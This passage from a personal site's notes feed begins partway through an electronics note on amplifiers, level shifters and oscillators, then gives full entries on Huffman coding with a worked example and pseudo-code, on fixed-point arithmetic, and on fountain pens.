                    href="/notes/electronics/common-emitter-sim-gain-bypass.png"><img
                    src="/notes/electronics/common-emitter-sim-gain-bypass.png" /></a></p>
                    <p>Note also how the frequency response of the
                    emitter changes with the addition of the bypass
                    capacitor:</p>
                    <p><a
                    href="/notes/electronics/common-emitter-sim-freq-bypass.png"><img
                    src="/notes/electronics/common-emitter-sim-freq-bypass.png" /></a></p>
                    <p>With an input signal of +/- 1 mV, the output
                    signal of this circuit remains distortion free with
                    the previously calculated bypass numbers, but it
                    will be more difficult to reason about the maximum
                    input without distortion:</p>
                    <p><a
                    href="/notes/electronics/common-emitter-sim-signal-bypass.png"><img
                    src="/notes/electronics/common-emitter-sim-signal-bypass.png" /></a></p>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a href="https://youtu.be/VWY2WQcKJgk">Common
                    Emitter Amplifier Design Tips &amp;
                    Shortcuts</a></li>
                    <li><a href="https://youtu.be/zXh5gMc6kyU">Tutorial:
                    Common Emitter, Common Collector, and Common Base
                    Transistor amplifiers</a></li>
                    <li><a href="https://youtu.be/mRla_j3Hf-A">Quick
                    Guide: Designing A BJT Common Emitter
                    Amplifier</a></li>
                    <li><a href="https://youtu.be/Y2ELwLrZrEM">TSP #15 -
                    Tutorial on the Theory, Design and Characterization
                    of a Single Transistor BJT Amplifier</a></li>
                    </ul>
                    <h2
                    id="unidirectional-voltage-shifter">Unidirectional
                    voltage shifter</h2>
                    <p>In many cases we find that we need to interface
                    between circuits that work at different i/o
                    voltages. This is very common on logic circuits, for
                    example we may have a microcontroller that outputs
                    3.3V logic high and we have another device that
                    expects 5V input. The opposite may also be true,
                    going from a 5V output to a 3.3V input. We want to
                    pay special attention to this later case, as it
                    could damage the low voltage device.</p>
                    <p>There are many ways of performing voltage
                    shifting. A simple approach uses an NPN transistor
                    and a couple of resistors in a common base
                    configuration. This works for up-shifting and
                    down-shifting, but it is <em>unidirectional</em>,
                    meaning that the circuit doesn’t adapt to the input,
                    instead we need once circuit for each mode. For
                    upshifting from 3.3V to 5V:</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-schem-up.png"><img
                    src="/notes/electronics/npn-volt-shift-schem-up.png" /></a></p>
                    <p>And for going from 5V to 3.3V:</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-schem-down.png"><img
                    src="/notes/electronics/npn-volt-shift-schem-down.png" /></a></p>
                    <p>Looking at the logic time response of the
                    up-shifter we observe that Rc creates a voltage
                    divider with the load, resulting in a final output
                    voltage of
                    <code>Vout = RL / (Rc + RL) * 5 = 4.55V</code>.</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-sim-signal-up-10k.png"><img
                    src="/notes/electronics/npn-volt-shift-sim-signal-up-10k.png" /></a></p>
                    <p>This should be ok for most logic circuits, as the
                    High state would be detected properly. If needed, we
                    can use a lower resistance for Rc, creating a bit of
                    a less stable signal but with a voltage closer to
                    5V. With 1 KOhm we get the following response:</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-sim-signal-up-1k.png"><img
                    src="/notes/electronics/npn-volt-shift-sim-signal-up-1k.png" /></a></p>
                    <p>The signal output for the downshifter suffers
                    from the same issue, but additionally on the
                    simulator we see a 5V spike which could damage the
                    input circuit if we are not careful:</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-sim-signal-down-10k.png"><img
                    src="/notes/electronics/npn-volt-shift-sim-signal-down-10k.png" /></a></p>
                    <p>This could be solved by connecting a capacitor in
                    parallel with the load, creating a low pass
                    filter.</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-schem-down-cap.png"><img
                    src="/notes/electronics/npn-volt-shift-schem-down-cap.png" /></a></p>
                    <p>Giving us a smoother transition from low to high.
                    Bear in mind that depending on the capacitance, this
                    may limit the transmission speed.</p>
                    <p><a
                    href="/notes/electronics/npn-volt-shift-sim-signal-down-cap.png"><img
                    src="/notes/electronics/npn-volt-shift-sim-signal-down-cap.png" /></a></p>
                    <p>Source: <a
                    href="https://electronics.stackexchange.com/questions/296879/logic-level-converter-using-transistors/297092#297092">Logic
                    level converter using Transistors</a></p>
                    <h2 id="polarity-protection-for-dc-psus">Polarity
                    protection for DC PSUs</h2>
                    <p>The world of power supply connectors is the wild
                    west, with some inputs being center positive and
                    others center negative. Worse, the connectors are
                    compatible so you can accidentally connect the wrong
                    cable and destroy your circuit.</p>
                    <p>There are some ways of protecting about this in
                    our designs. My two preferred ways are to use a
                    parallel diode in combination with a resistor or use
                    a diode in series.</p>
                    <h3 id="option-1">Option 1</h3>
                    <pre><code>.-----.                   .------.
|    +|--- R ---+---------|+     |
|     |         |         |      |
| PSU |        D^         |  IN  |
|     |         |         |      |
|    -|---------+---------|-     |
.-----.                   .------.</code></pre>
                    <p>If we don’t use a resistor, it is possible that
                    the reverse current can damage the PSU or the
                    circuit. A small resistor can act as a fuse, but
                    would need to be replaced if it blows up. We could
                    use actual fuses for this instead. A larger resistor
                    will protect better but will cause a voltage drop on
                    the input.</p>
                    <h3 id="option-2">Option 2</h3>
                    <pre><code>.-----.                   .------.
|    +|--- D &gt;------------|+     |
|     |                   |      |
| PSU |                   |  IN  |
|     |                   |      |
|    -|-------------------|-     |
.-----.                   .------.</code></pre>
                    <p>This option is much simpler, the diode will
                    handle reverse polarity input, blocking any current
                    in the opposite direction. This causes a voltage
                    drop on the diode of about 0.7 V, but we can design
                    for this in our circuit or we can use a Schottky
                    diode, which would make this drop of only 0.2 V. For
                    many applications, using 8.3 V as Vcc instead of 9 V
                    shouldn’t make a big difference, but this needs to
                    be taken into account in our calculations.</p>
                    <p>Source: <a
                    href="https://youtu.be/FcBgPuFv-WU">Adding Simple
                    Reverse Polarity Protection (To Guitar
                    Pedals)</a></p>
                    <h2 id="vco">VCO</h2>
                    <h3 id="simple-avalanche-oscillator">Simple
                    Avalanche Oscillator</h3>
                    <p>Probably the simplest oscillator one can make is
                    with a transistor configured for reverse biased
                    avalanche. You only need a BJT, resistor and
                    capacitor (optionally a LED to see some output).
                    Note that temperature drift may cause the frequency
                    to shift with it’s usage or ambient conditions, but
                    it is neat for drones and/or drum sounds. I
                    initially saw this on a <a
                    href="https://www.lookmumnocomputer.com/simplest-oscillator/">Look
                    Mom No Computer video</a> and I knew I wanted to try
                    it for myself.</p>
                    <p>The challenge with this circuit is to find
                    transistors that can go to avalanche with lower
                    voltages. At the time of writing I don’t have a
                    large supply of electric components, just some
                    leftovers from a few projects I did many years ago
                    and a bunch of scavenged parts from trashed PCBs.
                    One of those parts was a power connector, and I had
                    a couple of wall warts laying around, one of them 12
                    V, which was a good candidate for this project.</p>
                    <p><a
                    href="/notes/electronics/reverse-avalanche-stripboard.png"><img
                    src="/notes/electronics/reverse-avalanche-stripboard.png"
                    alt="A picture of a reverse avalanche oscillator on a stripboard" /></a></p>
                    <p>I used a prototype board to test the circuit and
                    different transistors, and was happy to see that the
                    two C547B and one of the BC1088 were able to enter
                    avalanche and output sound (the other BC1088 I
                    tested was able to oscillate but not throughout the
                    entire potenciometer range). Tried different
                    capacitor values and found that 2.2uF or 10uF worked
                    best. Caps from 33 to 100 uF could be used to create
                    a little LFO though, so maybe I’ll revisit this in
                    the future.</p>
                    <p>After verifying everything worked, I soldered
                    three oscillators on a stripboard and used a 3
                    resistor passive mixer to listen to the output.</p>
                    <p><a
                    href="/notes/electronics/reverse-avalanche-demo-01.mp4"><img
                    src="/notes/electronics/reverse-avalanche-demo-01.gif"
                    alt="A demo of 3 reverse avalanche oscillators" /></a></p>
                    <p>I think it sounds great! Would love to expand on
                    this idea to add CV controlled pitch, though there
                    are probably better and more stable designs for that
                    kind of thing.</p>
                    <h3 id="resources-1">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.lookmumnocomputer.com/simplest-oscillator/">LMNC:
                    Super simple oscillator</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=DCc1zxuAsmw">Transistor
                    Avalanche Disaster</a></li>
                    <li><a
                    href="http://www.kerrywong.com/2014/03/19/bjt-in-reverse-avalanche-mode/">BJT
                    in reverse avalanche mode</a></li>
                    <li><a
                    href="https://kassu2000.blogspot.com/2018/07/avalance-vco.html">Avalanche
                    VCO</a></li>
                    <li><a
                    href="https://www.codrey.com/electronic-circuits/avalanche-pulse-generator-an-introduction/">Avalanche
                    Pulse Generator</a></li>
                    <li><a
                    href="https://www.lookmumnocomputer.com/simplest-oscillator/">Oscillators
                    (zpostbox)</a></li>
                    <li><a
                    href="https://bastl-instruments.com/support/tutorials/omsynth-project-1">Basic
                    Schmitt trigger oscillator</a></li>
                    <li><a href="https://youtu.be/QBatvo8bCa4">DIY VCO
                    Part 1: The analog oscillator core anyone can
                    build</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=4qxgwN9aq8E&amp;ab_channel=MoritzKlein">DIY
                    VCO Part 2: The simplest exponential
                    converter</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=rq4ovZ2om6k&amp;ab_channel=vk2seb">Modular
                    Synth VCO Design &amp; Build</a></li>
                    </ul>
                    <h3 id="exponential-converter">Exponential
                    converter</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=b66r0yfY1fE&amp;ab_channel=KristianBl%C3%A5sol">Classic
                    2 Op-Amp tri and square wave VCO - DIY Modular in a
                    Week 1.2</a></li>
                    <li><a
                    href="https://www.allaboutcircuits.com/projects/diy-synth-series-vco/">All
                    about circuits exponetial vco</a></li>
                    <li><a
                    href="https://northcoastsynthesis.com/news/exponential-converters-and-how-they-work/">Exponential
                    converters and how they work</a></li>
                    <li><a href="https://youtu.be/ZWJhApUmfEU">ECE4450
                    L18: Exponential Voltage-to-Current Conversion &amp;
                    Tempco Resistors (Analog Circuits 4 Music)</a></li>
                    </ul>
                    <h3 id="sequencers">Sequencers</h3>
                    <ul>
                    <li><a
                    href="https://bastl-instruments.com/support/tutorials/omsynth-project-2">Simple
                    Step Sequencer with clock divider</a></li>
                    </ul>
                    <h3 id="sampler">Sampler</h3>
                    <ul>
                    <li><a
                    href="https://bastl-instruments.com/support/tutorials/omsynth-project-3">LoFi
                    sampler and VCF</a></li>
                    </ul>
                    <h3 id="mixers">Mixers</h3>
                    <ul>
                    <li><a
                    href="https://blog.minicircuits.com/a-quick-guide-to-mixer-topologies/">Mixer
                    topologies</a></li>
                    <li><a
                    href="https://www.scottbrown.co.nz/diy-passive-audio-mixer/">Simple
                    passive mixer</a></li>
                    <li><a href="https://youtu.be/q8tmUgaXrEQ">Designing
                    a 3-channel mixer with diode distortion from
                    scratch</a></li>
                    <li><a href="https://youtu.be/YCIcnFuRK7w">Simple
                    DIY Mixer w/ Op-Amps</a></li>
                    </ul>
                    <h2 id="op-amps">Op Amps</h2>
                    <h3 id="golden-rules">Golden rules</h3>
                    <ol type="1">
                    <li>When we have negative feedback, the Op Amp will
                    do whatever it can to make both inputs equal. A
                    buffer or voltage follower can be simply made this
                    way. Adding a couple of resistors to the feedback
                    loop transforms the Op Amp as a (non) inverting
                    amplifier.</li>
                    <li>No current enters the Op Amp inputs. If we
                    connect a ground to the positive input, the negative
                    behaves like a “virtual ground”.</li>
                    </ol>
                    <h3 id="resources-2">Resources</h3>
                    <ul>
                    <li><a href="https://youtu.be/aqfyRUVSq9I">Op-Amp
                    Golden Rules &amp; Designing An Active
                    Filter!</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=Jexhr5NIHog">Op-Amp
                    Theory and Design (Phil’s Lab)</a></li>
                    </ul>
                    <h2 id="resources-3">Resources</h2>
                    <h3 id="research">Research</h3>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/playlist?list=PLOunECWxELQS5bMdWo9VhmZtsCjhjYNcV">Analog
                    Circuits for Music Synthesis Lectures</a></li>
                    <li><a href="https://www.schmitzbits.de/">DIY synths
                    by René Schmitz</a></li>
                    <li><a href="http://ijfritz.byethost4.com/">Ian
                    Fritz electronic music site</a></li>
                    </ul>
                    <h3 id="suppliersshops">Suppliers/shops</h3>
                    <ul>
                    <li><a
                    href="https://www.musikding.de/warenkorb.php">Das
                    Musikding (Europe)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Encoding and Compression</title>
            <link href="https://badd10de.dev//notes/encoding-compression.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/encoding-compression.html</id>
            <updated>2026-06-16T09:49:16Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Some common general purpose algorithms used for
                    data encoding and compression include:</p>
                    <ol type="1">
                    <li><a
                    href="https://en.wikipedia.org/wiki/Huffman_coding">Huffman
                    coding</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Run-length_encoding">Run
                    length encoding</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Burrows%E2%80%93Wheeler_transform">Burrows-Wheeler
                    transform</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Move-to-front_transform">Move
                    to front transform</a></li>
                    <li><a
                    href="https://facebook.github.io/zstd/">Zstandard</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/LZ77_and_LZ78">LZ77
                    and LZ78 (LZ1, LZ2)</a></li>
                    <li><a
                    href="https://lz4.github.io/lz4/">LZ4</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Storer%E2%80%93Szymanski">LZSS</a></li>
                    </ol>
                    <h2 id="huffman-coding">Huffman coding</h2>
                    <p>Can be used to find the most optimal possible
                    encoding symbols in the minimum number of bytes.
                    This doesn’t always make it the most efficient
                    encoding for compression, however.</p>
                    <h3 id="algorithm">Algorithm</h3>
                    <ol start="0" type="1">
                    <li>For an alphabet of N symbols.</li>
                    <li>Count the number of occurrences of each symbol
                    in the data (frequency).</li>
                    <li>Sort the symbol table from minimum to maximum
                    frequency.</li>
                    <li>Assemble a Huffman binary tree by combining the
                    symbols with the smallest frequency together.</li>
                    <li>Create the Huffman table by walking down the
                    tree, one branch adds a <code>1</code> and another
                    adds a <code>0</code>.</li>
                    </ol>
                    <h3 id="example">Example</h3>
                    <p>Let’s encode <code>MISSISSIPPI_RIVER</code>. We
                    have the following frequency table:</p>
                    <pre><code>+--------+-----------+--------------+
| symbol | frequency | probability  |
+--------+-----------+--------------+
| M      | 1         | 1/17 = 0.058 |
| I      | 5         | 5/17 = 0.294 |
| S      | 4         | 4/17 = 0.235 |
| P      | 2         | 2/17 = 0.117 |
| R      | 2         | 2/17 = 0.117 |
| E      | 1         | 1/17 = 0.058 |
| V      | 1         | 1/17 = 0.058 |
| _      | 1         | 1/17 = 0.058 |
+--------+-----------+--------------+</code></pre>
                    <p>Now let’s sort it in ascending frequency:</p>
                    <pre><code>+--------+-----------+--------------+
| symbol | frequency | probability  |
+--------+-----------+--------------+
| M      | 1         | 1/17 = 0.058 |
| E      | 1         | 1/17 = 0.058 |
| V      | 1         | 1/17 = 0.058 |
| _      | 1         | 1/17 = 0.058 |
| P      | 2         | 2/17 = 0.117 |
| R      | 2         | 2/17 = 0.117 |
| S      | 4         | 4/17 = 0.235 |
| I      | 5         | 5/17 = 0.294 |
+--------+-----------+--------------+</code></pre>
                    <p>Let’s start assembling the three step by
                    step:</p>
                    <pre><code>M1,E1,V1,_1,P2,R2,S4,I5

          |
          V

2 -- M1
 `-- E1

          |
          V

2 -- M1
 `-- E1
2 -- V1
 `-- _1

          |
          V

2 -- M1
 `-- E1
2 -- V1
 `-- _1
4 -- P2
 `-- R2

          |
          V

4 -- 2 -- M1
|     `-- E1
` -- 2 -- V1
      `-- _1
4 -- P2
 `-- R2

          |
          V

8 -- 4 -- 2 -- M1
|    |     `-- E1
|    ` -- 2 -- V1
|          `-- _1
 `-- 4 -- P2
      `-- R2

          |
          V

9 -- I5
 `-- S4
8 -- 4 -- 2 -- M1
|    |     `-- E1
|    ` -- 2 -- V1
|          `-- _1
 `-- 4 -- P2
      `-- R2

          |
          V

17 -- 9 -- I5
 |     `-- S4
  `-- 8 -- 4 -- 2 -- M1
      |    |     `-- E1
      |    ` -- 2 -- V1
      |          `-- _1
       `-- 4 -- P2
            `-- R2</code></pre>
                    <p>The following is the resulting Huffman tree
                    including the binary path for each branch:</p>
                    <pre><code>17 --*1*-- 9 --*1*-- I5
 |          `--*0*-- S4
  `--*0*-- 8 --*1*-- 4 --*1*-- 2 --*1*-- M1
           |         |          `--*0*-- E1
           |         ` --*0*-- 2 --*1*-- V1
           |                    `--*0*-- _1
            `--*0*-- 4 --*1*-- P2
                      `--*0*-- R2</code></pre>
                    <p>This tree yields the following encoding
                    table:</p>
                    <pre><code>+--------+-----------+--------------+------------+--------------+
| symbol | frequency | probability  | ASCII code | Huffman code |
+--------+-----------+--------------+------------+--------------+
| M      | 1         | 1/17 = 0.058 | 1001101    | 0111         |
| E      | 1         | 1/17 = 0.058 | 1000101    | 0110         |
| V      | 1         | 1/17 = 0.058 | 1010110    | 0101         |
| _      | 1         | 1/17 = 0.058 | 1011111    | 0100         |
| P      | 2         | 2/17 = 0.117 | 1010000    | 001          |
| R      | 2         | 2/17 = 0.117 | 1010010    | 000          |
| S      | 4         | 4/17 = 0.235 | 1010011    | 10           |
| I      | 5         | 5/17 = 0.294 | 1001001    | 11           |
+--------+-----------+--------------+------------+--------------+</code></pre>
                    <p>Thus the following message can be encoded as
                    such:</p>
                    <pre><code>Before (119 bits):

M       I       S       S       I       S
1001101 1001001 1010011 1010011 1001001 1010011

S       I       P       P       I       _
1010011 1001001 1010000 1010000 1001001 1011111

R       I       V       E       R
1010010 1001001 1010110 1000101 1010010

After (46 bits):

M       I       S       S       I       S
0111    11      10      10      11      10

S       I       P       P       I       _
10      11      001     001     11      0100

R       I       V       E       R
000     11      0101    0110    000

Stats:

msg_entropy := H = 1 * 5/17 * math.log2(17/5) +
                   1 * 4/17 * math.log2(17/4) +
                   2 * 2/17 * math.log2(17/2) +
                   4 * 1/17 * math.log2(17) = 2.69866

avg_code_len := L = 2 * (5/17 + 4/17) +
                    3 * 2 * 2/17 +
                    4 * 4 * 1/17 = 2.688

efficiency := H/L = 0.9973
compression_ratio = 2.59</code></pre>
                    <h3 id="implementation">Implementation</h3>
                    <p>The algorithm can be implemented by using a hash
                    table to count the frequency of each symbol and a
                    priority queue to build the Huffman tree. The hash
                    table is not necessary if we know all possible
                    symbols we will be using, as it is the case with
                    byte compression. The priority queue can be
                    implemented with a min. heap. Here is some untested
                    pseudo-code of how this could work in practice.</p>
                    <pre><code>// We will byte-encode all symbols. Ascii symbols are worth 1 byte only.
msg = [M, I, S, S, I, S, S, I, P, P, I, _, R, I, V, E, R]
frequency[256] = {0}
for elem in msg {
    frequency[(u8)elem]++
}

struct Node {
    T symbol;
    u64 count;
    Node *left;
    Node *right;
}
// NOTE: For byte encoding we will need a maximum of 256 + 128 + 64 + 32 + 16
// + 8 + 4 + 2 + 1 nodes so we can preallocate this amount of memory to reduce
// the mumber of memory allocations. This can only happen if there is exactly
// one symbol of each byte, creating a perfect 1/256 per symbol distribution.
//
// Node nodes[512] = {0}

mh = min_heap(Node)
for i, freq in enumerate(frequency) {
    if freq != 0 {
        mh.insert(Node{i, freq, NULL, NULL})
    }
}

// Build the tree.
while mh.lenght() &gt; 1 {
    node = Node{0}
    node.left = mh.pop_min()
    node.right = mh.pop_min()
    node.count = node.left.count + node.right.count
    mh.insert(node)
}
root = mh.pop_min() // Should have only 1 element left, the last one

// Create an encoding symbol table from the tree
// If we are encoding bytes the worst case scenario we will need 256 bits worth
// of information, or 64bytes per symbol (or 8x32bit, or 4x64bit, or 2x128bit,
// or 1x256bit values).
//
//     FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF
//     FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF
//
// Here we instantiate the table with those worst scenario constrains.
table = byte[256][64] // OR: 256 elements of type struct {u8[64] code; u8 n_bits;}

// Walk the tree to get the code for each symbol on the leaf
current_code = byte[64]
void fill_table(root, table, current_code) {
    if root.left == NULL &amp;&amp; root.right == NULL {
        table[root.symbol] = current_code // NOTE: Full copy, we might also want to store the number of bits for this code
        return
    }
    fill_table(root.left, table, current_code &lt;&lt; 1)
    fill_table(root.right, table, (current_code &lt;&lt; 1) | 1)
}

// Use the table for encoding the message in the channel
channel = byte[CHANNEL_LENGTH] // NOTE: Make sure we don&#39;t overflow the channel
// NOTE: We could probably speed this up quite a bit if we used SIMD 256
// registers instead of doing bit shifts per byte.
for symbol in msg {
    channel = (channel &lt;&lt; table[symbol].n_bits) &amp; table[symbol].code
}</code></pre>
                    <p>The message could be encoded in several ways once
                    we have the table. Here is how the message would
                    look like in a channel, separated by bytes. Note how
                    some symbols are separated on the byte boundary.</p>
                    <pre><code>Code table:

symbols | M   I   S   S   I   S   S   I   P   P   I   _   R   I   V   E   R   |
binary  | 0xb 0x3 0x0 0x0 0x3 0x0 0x0 0x3 0x4 0x4 0x3 0x7 0x2 0x3 0xa 0x6 0x2 |
n_bits  | 4   2   2   2   2   2   2   2   3   3   2   4   3   2   4   4   3   |


Channel:

symbols | M   I S  | S I S S  | I P  P   | I _   R  |  I V   E |    R     |
binary  | 10111100 | 00110000 | 11100100 | 11011101 | 01110100 | 110010xx |
hex     | 0xbc     | 0x30     | 0xe4     | 0xdd     | 0x74     | 0xc8     |
                                                                       ^
                                                                      EOM
Stats:
    n_symbols = 17
    n_bits = 46
    min_code_length = 2
    max_code_length = 4</code></pre>
                    <h3 id="canonical-codes">Canonical codes</h3>
                    <p>Once we have a Huffman codes for all symbols in
                    the data, we could obtain new canonical codes by
                    following the procedure mentioned below. With
                    canonical codes, we don’t need to retransmit the
                    entire translation table every time but instead we
                    only need to send the number of levels and number of
                    bits per level.</p>
                    <p>When compressing binary data, the worst case
                    scenario if we were to transmit the entire table
                    would be to store both the code (max 64 bytes) plus
                    an extra byte for the number of bits (1-255) for all
                    256 entries, resulting in
                    <code>65 * 256 = 16KB</code> of information that we
                    need to send in every compressed block for table
                    reconstruction (And that is without headers). If we
                    instead use canonical codes, we may reconstruct the
                    table with only <code>B * 2^B</code> bits of
                    information being sent on the channel.</p>
                    <p>To help us understand canonical Huffman codes, we
                    can select any rules we want as long as these are
                    consistent for table recovery from the given number
                    of bits. For example we can say that:</p>
                    <ul>
                    <li>If we right-pad with zeroes all codes to be the
                    same number of bits, the shorter codes will have a
                    larger numerical value.</li>
                    <li>Codes on the same level are sorted in ascending
                    numeric order.</li>
                    </ul>
                    <p>Using the previously mentioned message, we obtain
                    the following number of bits for each symbol.</p>
                    <pre><code>+--------+--------+
| symbol | n_bits |
+--------+--------+
| M      | 4      |
| E      | 4      |
| V      | 4      |
| _      | 4      |
| P      | 3      |
| R      | 3      |
| S      | 2      |
| I      | 2      |
+--------+--------+</code></pre>
                    <p>Canonical codes that follow the aforementioned
                    rules can be generated by detecting the starting
                    points for each code level. To do so, the following
                    algorithm can be used:</p>
                    <pre><code>1. Start with the largest codes being all zeroes and increment numerically. In
   our example there are 4 codes with 4 bits [0000-0011].
2. Subsequent levels can be found by taking the last address in the previous
   level and adding 1. If we right shift this value to remove the least
   significant bit, we obtain the initial position.


    start_{i} = (start_{i-1} + n_bits_{i-1}) &gt;&gt; 1

previous start level bits := prev_start
number of codes in previous level := prev_m

    start = (prev_start + prev_m) &gt;&gt; 1</code></pre>
                    <p>If we now sort them in alphabetic order per bit
                    level, we can generate the following canonical
                    codes.</p>
                    <pre><code>+--------+--------+---------------------+----------------+--------+
| symbol | n_bits | prev_start | prev_m | initial_code   | code   |
+--------+--------+---------------------+----------------+--------+
| E      | 4      | 0000       | 0      | 0000           | 0000   |
| M      | 4      | 0000       | 0      | 0000           | 0001   |
| V      | 4      | 0000       | 0      | 0000           | 0010   |
| _      | 4      | 0000       | 0      | 0000           | 0011   |
| P      | 3      | 0000       | 4      | 010            | 010    |
| R      | 3      | 0000       | 4      | 010            | 011    |
| I      | 2      | 010        | 2      | 10             | 10     |
| S      | 2      | 010        | 2      | 10             | 11     |
+--------+--------+------------+--------+----------------+--------+</code></pre>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://www.ics.uci.edu/~dan/pubs/DataCompression.html">Data
                    Compression Methods</a></li>
                    <li><a
                    href="https://www.ics.uci.edu/~dan/pubs/LenLimHuff.pdf">A
                    Fast Algorithm for Optimal Length-Limited Huffman
                    Codes</a></li>
                    <li><a
                    href="http://www.cs.umd.edu/class/fall2017/cmsc451-0101/Lects/lect06-greedy-huffman.pdf">CMSC
                    4541: Lecture 6. Greedy Algorithms: Huffman
                    Coding</a></li>
                    <li><a
                    href="https://www.princeton.edu/~cuff/ele201/kulkarni_text/information.pdf">Information,
                    Entropy, and Coding</a></li>
                    <li><a
                    href="http://www.compressconsult.com/huffman/">Practical
                    Huffman coding</a></li>
                    <li><a
                    href="https://en.wikipedia.org/wiki/Canonical_Huffman_code">Canonical
                    Huffman code (Wikipedia)</a></li>
                    <li><a
                    href="https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/asap14-canonical_huffman.pdf">Energy
                    Efficient Canonical Huffman Encoding</a></li>
                    <li><a
                    href="https://michaeldipperstein.github.io/huffman.html">Huffman
                    Code Discussion and Implementation</a></li>
                    <li><a
                    href="https://www.ic.tu-berlin.de/fileadmin/fg121/Source-Coding_WS12/selected-readings/10_04051119.pdf">A
                    Method for the Construction of Minimum-Redundancy
                    Codes (David Huffman)</a></li>
                    <li><a
                    href="http://people.ucalgary.ca/~dfeder/449/Huffman.pdf">Huffman
                    Coding (ucalgary)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=aF1Yw_wu2cM&amp;t=4s&amp;ab_channel=RetroGameMechanicsExplained">Pokémon
                    Sprite Decompression Explained</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Fixed-Point Numbers</title>
            <link href="https://badd10de.dev//notes/fixed-point-numbers.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/fixed-point-numbers.html</id>
            <updated>2026-06-16T09:49:17Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>Modern computers have access to dedicated
                    floating point units, but in older machines (such as
                    the GBA) this was not the case. In such cases, if we
                    require the use of fractional numbers in our code we
                    have to use integers. If used directly, integers
                    will cause a loss of precision, which is why
                    fixed-point numbers are used.</p>
                    <p>Fixed-point are integer representations of
                    fractional numbers. Normally you need to know how
                    many bits of precision are used for the unit part
                    and how many for the fractional part. For example if
                    we want to represent the number 123.4567 we would
                    need to use 4 bits of fractional precision, though
                    we can use more if necessary. We normally denote the
                    number of bits used for the integer part (i) and the
                    fractional part (f) as (i.f). For example, if we are
                    using 32 bit numbers and we want to have 10 bits of
                    precision the notation to describe these numbers
                    would be (22.10). Note that in some cases, signed
                    numbers are described as (1.i.f) but this doesn’t
                    mean that we have a separate sign bit, we are always
                    using integers with two’s complement numbers.</p>
                    <p>It is a bit difficult to see this representation
                    with decimal numbers but using hex it should be
                    clear. For example the 32 bit number 0xAABBCCDD at
                    (20.12) would have 0xAABBC as the integer part and
                    0xCDD as the fractional part. This means building a
                    fixed-point number is as simple as shifting left the
                    integer part and adding the fractional part to it:
                    <code>fixe_num = (0xAABBC &lt;&lt; 12) | 0xCDD</code>.
                    Likewise we can get the fractional part with a
                    masked <code>and</code> and the integer part with a
                    shift down:
                    <code>integer_part = 0xAABBCCDD &gt;&gt; 12;</code>,
                    <code>fractional_part = 0xAABBCCDD &amp; 0xFFF;</code>.
                    This only applies to unsigned numbers, since sign
                    may be considered when getting the fractional part
                    and using a mask would effectively destroy the
                    sign.</p>
                    <p>One important consideration of fixed-point
                    numbers is that depending on the selected integer
                    precision we are limited in the largest number we
                    can represent. With that said, nothing stops us from
                    reducing shifting the fractional bit around as
                    needed in our algorithms.</p>
                    <h2 id="math">Math</h2>
                    <p>Working with fixed-point numbers require certain
                    things to ensure the correctness of arithmetic
                    operations. In case of addition and subtraction, the
                    numbers must have the same fixed-point
                    representation, that is, the number of bits being
                    used for the fractional part. When multiplying
                    fixed-point numbers, we need to also multiply the
                    fractional scale, which translate to a right shift
                    after the multiplication
                    (<code>fpa * fpb = (A * B) &gt;&gt; f</code>). To
                    keep the highest accuracy, when using division, we
                    shift the scale before we divide
                    (<code>fpa / fpb = (A &lt;&lt; f) / B</code>).</p>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.coranac.com/tonc/text/fixed.htm">Fixed
                    point numbers (TONC)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Fountain Pens</title>
            <link href="https://badd10de.dev//notes/fountain-pens.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/fountain-pens.html</id>
            <updated>2026-06-16T09:49:17Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>I’m quite fond of fountain pens, especially when
                    paired with cartridge converters or using a self
                    contained ink filling system. They are both more and
                    less convenient than regular pens. On the one hand
                    they require more care when handling them and
                    cleaning/maintenance. On the other hand, the writing
                    experience feels much better to me, you can load
                    many different types of ink, and (depending on your
                    usage) you could be generating less waste since you
                    don’t have to discard cartridges or entire pens.</p>
                    <p>Don’t forget different inks interact in a
                    multitude of ways with different kinds of paper, so
                    for the best experience it’s best to evaluate the
                    pen, ink and paper together as a set.</p>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=yF9IRI5WxXg">How
                    to Clean a Fountain Pen</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=m4vshOLNmTg">How
                    To Clean A Fountain Pen - Beginner’s Guide</a></li>
                    </ul>
                </div>
            </content>
        </entry>
